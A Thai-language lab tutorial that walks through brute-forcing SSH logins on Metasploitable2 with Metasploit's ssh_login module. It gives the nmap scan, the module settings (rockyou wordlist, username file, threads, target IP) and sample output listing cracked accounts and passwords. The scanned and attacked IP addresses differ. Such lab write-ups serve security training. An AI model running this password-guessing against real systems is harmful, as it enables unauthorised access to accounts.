บทนำ (Overview)
บทความนี้นำเสนอวิธีการ “Bruteforce” หรือเดารหัสผ่าน “SSH” โดยใช้ “Metaspliot” โดยเป็น “Crack” รหัสผ่านแบบ “Online” ในกรณีที่เราทราบถึงชื่อบัญชีผู้ใช้ (Username) หรือบางครั้งเราอาจจะเดาชื่อบัญชีผู้ใช้จาก “Wordlist” ก็ได้แต่จะใช้เวลานาน สำหรับ “Metasploit” เราสามารถแตก “Threads” ออกเป็นหลายๆ “Threads” เพื่อทำงานพร้อมกันในการเดารหัสผ่านด้วย แต่ทั้งนี้ความสำเร็จยังในค้นพบรหัสผ่านจะยังต้องขึ้นกับ “Wordlist” ที่เรามีอยู่ด้วย
ขั้นตอน (Steps)
- ก่อนอื่นเราต้อง “Scan” หา “Port” และ “Version” ที่ใช้ในแต่ละบริการเสียก่อนโดยใช้โปรแกรม “Nmap” ดังนี้
nmap -sV -O 192.168.1.55 -p1-65535
- เราพบว่ามี “Port” หมายเลข “22” คือ “OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)” เปิดอยู่ ให้เปิด “Metasploit” เพื่อ “Bruteforce SSH” ดังนี้
msfconsole
- เรียกใช้งานการสำหรับ “Bruteforce SSH” โดยใช้คำสั่ง
use auxiliary/scanner/ssh/ssh_login
- ตรวจสอบพารามีเตอร์ที่จำเป็นต้องตั้งค่าโดยใช้คำสั่ง
show options
- ให้ตั้งค่า “option” ต่าง ๆ ดังต่อไปนี้
set PASS_FILE /usr/share/wordlists/rockyou.txt set USER_FILE /root/Desktop/SSH/user.txt set USER_AS_PASS true set THREADS 5 set RHOSTS 192.168.1.48
- จากการตั้งค่าข้างต้นสามารถอธิบายได้ดังนี้
- PASS_FILE คือ Wordlist ที่เราจะใช้สำหรับการเดารหัสผ่าน จากตัวอย่างใช้ไฟล์ชื่อ “Rockyou” ซึ่งมีพร้อมอยู่ใน “Kali” แล้ว
- USER_FILE คือ ไฟล์ที่บรรจุชื่อ “Username” ที่เรารวบรวมเอาไว้ได้ โดยปกติแล้วถ้าไม่ใช่ “Root” แล้วเราควรรวบรวม “Username” ให้ได้มากที่สุดก่อน โดยอาจจำเป็นต้องใช้ช่องโหว่ อื่น ๆ ร่วมด้วย จากบทความ How to mount Network File System (NFS) – Metasploitable2 ทำให้เราสามารถทราบได้ว่ามี “Account” อะไรบ้างอยู่ในระบบเป็นต้น
- USER_AS_PASS คือ ให้ค้นหาว่าใช้ชื่อ “Username” เป็น “Password”
- THREADS คือ จำนวนของ “Thread” ที่จะใช้ในการเดารหัสผ่าน “Threads” มากก็เร็วขึ้น แต่ Server อาจทำงานหนักขึ้นด้วย
- RHOSTS คือ IP เป้าหมายที่จะเดารหัสผ่าน
- เมื่อตั้งค่าเรียบร้อยแล้วลองตรวจสอบ options อีกครั้ง
show options
- เมื่อตั้งค่าเสร็จสิ้นให้ใช้คำสั่ง “run” เพื่อทำการ “Bruteforce” ถ้าพบรหัสผ่านจะปรากฏดังภาพ
- ผลการทดสอบเราสามารถได้รหัสผ่านของ “Username” ต่าง ๆ ดังต่อไปนี้
[+] 192.168.1.48:22 SSH - Success: 'sys:batman' 'uid=3(sys) gid=3(sys) groups=3(sys) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' [+] 192.168.1.48:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory ' [+] 192.168.1.48:22 SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' [+] 192.168.1.48:22 SSH - Success: 'postgres:postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' [+] 192.168.1.48:22 SSH - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' [+] 192.168.1.48:22 SSH - Success: 'service:service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '